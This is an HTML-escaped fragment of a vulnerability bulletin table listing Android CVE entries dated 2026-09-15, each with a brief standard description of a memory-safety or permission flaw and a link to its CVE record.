&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55323&quot; target=&quot;_blank&quot;&gt;CVE-2026-55323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In IP Multimedia Subsystem, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55331&quot; target=&quot;_blank&quot;&gt;CVE-2026-55331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible out-of-bounds write due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55332&quot; target=&quot;_blank&quot;&gt;CVE-2026-55332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In decodeAmr of ImsMediaAudioPlayer.cpp, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55343&quot; target=&quot;_blank&quot;&gt;CVE-2026-55343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In VPU, there is a possible out-of-bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55351&quot; target=&quot;_blank&quot;&gt;CVE-2026-55351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55359&quot; target=&quot;_blank&quot;&gt;CVE-2026-55359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of remap.c, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55365&quot; target=&quot;_blank&quot;&gt;CVE-2026-55365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In IP Multimedia Subsystem, there is a possible authentication bypass due to a logic error in the code. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55366&quot; target=&quot;_blank&quot;&gt;CVE-2026-55366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gmc_mb_msg_handler of gmc_mba.c, there is a possible memory corruption due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56879&quot; target=&quot;_blank&quot;&gt;CVE-2026-56879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In enable_segment of remap.c, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56881&quot; target=&quot;_blank&quot;&gt;CVE-2026-56881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible information disclosure due to a logic error in the code. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56882&quot; target=&quot;_blank&quot;&gt;CVE-2026-56882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to side channel information disclosure. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56888&quot; target=&quot;_blank&quot;&gt;CVE-2026-56888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to an integer overflow. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56889&quot; target=&quot;_blank&quot;&gt;CVE-2026-56889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ReadDataElement of common.c, there is a possible information disclosure due to an incorrect bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56892&quot; target=&quot;_blank&quot;&gt;CVE-2026-56892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In VPU, there is a possible shared memory overwrite due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56907&quot; target=&quot;_blank&quot;&gt;CVE-2026-56907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use-after-free due to improper locking. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56914&quot; target=&quot;_blank&quot;&gt;CVE-2026-56914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In bigo_worker_thread of bigo.c, there is a possible escalation of privilege due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56915&quot; target=&quot;_blank&quot;&gt;CVE-2026-56915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In s_decode_vui_param of fw_hevc_dec_header.c, there is a possible out-of-bounds write due to a logic error in the code. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56920&quot; target=&quot;_blank&quot;&gt;CVE-2026-56920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In CPM, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56922&quot; target=&quot;_blank&quot;&gt;CVE-2026-56922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In handle_unmap_req of tipc_virtio_dev.c, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56923&quot; target=&quot;_blank&quot;&gt;CVE-2026-56923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Trusted Execution Environment, there is a possible memory corruption due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56932&quot; target=&quot;_blank&quot;&gt;CVE-2026-56932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of fpc_tee_hal.c, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56941&quot; target=&quot;_blank&quot;&gt;CVE-2026-56941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ReadTileInfo of vp9hwd_headers.cc, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56942&quot; target=&quot;_blank&quot;&gt;CVE-2026-56942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In VPU, there is a possible out-of-bounds write due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56945&quot; target=&quot;_blank&quot;&gt;CVE-2026-56945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In validate_ns_buf of mbu_class.rs, there is a possible information disclosure due to improper input validation. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56950&quot; target=&quot;_blank&quot;&gt;CVE-2026-56950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gf_algo_get_cached_dump_data of gf_algo.c, there is a possible out-of-bounds read due to a missing bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56958&quot; target=&quot;_blank&quot;&gt;CVE-2026-56958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use-after-free due to a logic error in the code. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56960&quot; target=&quot;_blank&quot;&gt;CVE-2026-56960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56964&quot; target=&quot;_blank&quot;&gt;CVE-2026-56964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible out-of-bounds write due to a heap buffer overflow. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56967&quot; target=&quot;_blank&quot;&gt;CVE-2026-56967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56970&quot; target=&quot;_blank&quot;&gt;CVE-2026-56970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56972&quot; target=&quot;_blank&quot;&gt;CVE-2026-56972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56973&quot; target=&quot;_blank&quot;&gt;CVE-2026-56973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Start of AudioRtpPayloadEncoderNode.cpp, there is a possible out-of-bounds write due to improper input validation. This could lead to remote code execution with no additional execution privileges needed. User interaction is needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56974&quot; target=&quot;_blank&quot;&gt;CVE-2026-56974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible denial of service due to improper input validation. This could lead to remote (proximal/adjacent) denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56975&quot; target=&quot;_blank&quot;&gt;CVE-2026-56975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In get_global_config_item_addr of gc.c, there is a possible out-of-bounds read due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56978&quot; target=&quot;_blank&quot;&gt;CVE-2026-56978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56979&quot; target=&quot;_blank&quot;&gt;CVE-2026-56979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In VPU, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56982&quot; target=&quot;_blank&quot;&gt;CVE-2026-56982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple files, there is a possible way to obtain signatures due to type confusion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56985&quot; target=&quot;_blank&quot;&gt;CVE-2026-56985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple files, there is a possible out-of-bounds read due to type confusion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56986&quot; target=&quot;_blank&quot;&gt;CVE-2026-56986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of bluetooth_cco.cc, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56988&quot; target=&quot;_blank&quot;&gt;CVE-2026-56988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56989&quot; target=&quot;_blank&quot;&gt;CVE-2026-56989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple files, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56992&quot; target=&quot;_blank&quot;&gt;CVE-2026-56992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Av1DecodeFrameTag of vp9hwd_headers.cc, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56997&quot; target=&quot;_blank&quot;&gt;CVE-2026-56997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In acfw_ffa.c, there is a possible secret read due to a logic error in the code. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57006&quot; target=&quot;_blank&quot;&gt;CVE-2026-57006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Modem, there is a possible information disclosure due to improper input validation. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57008&quot; target=&quot;_blank&quot;&gt;CVE-2026-57008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In the Setup Wizard, there is a possible remote package install due to a missing permission check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57012&quot; target=&quot;_blank&quot;&gt;CVE-2026-57012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In phNxpNciHal_ext_process_nfc_init_rsp of phNxpNciHal_ext.cc, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57014&quot; target=&quot;_blank&quot;&gt;CVE-2026-57014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57035&quot; target=&quot;_blank&quot;&gt;CVE-2026-57035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of DreamPickerReceiver.kt, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57042&quot; target=&quot;_blank&quot;&gt;CVE-2026-57042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Bootloader, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
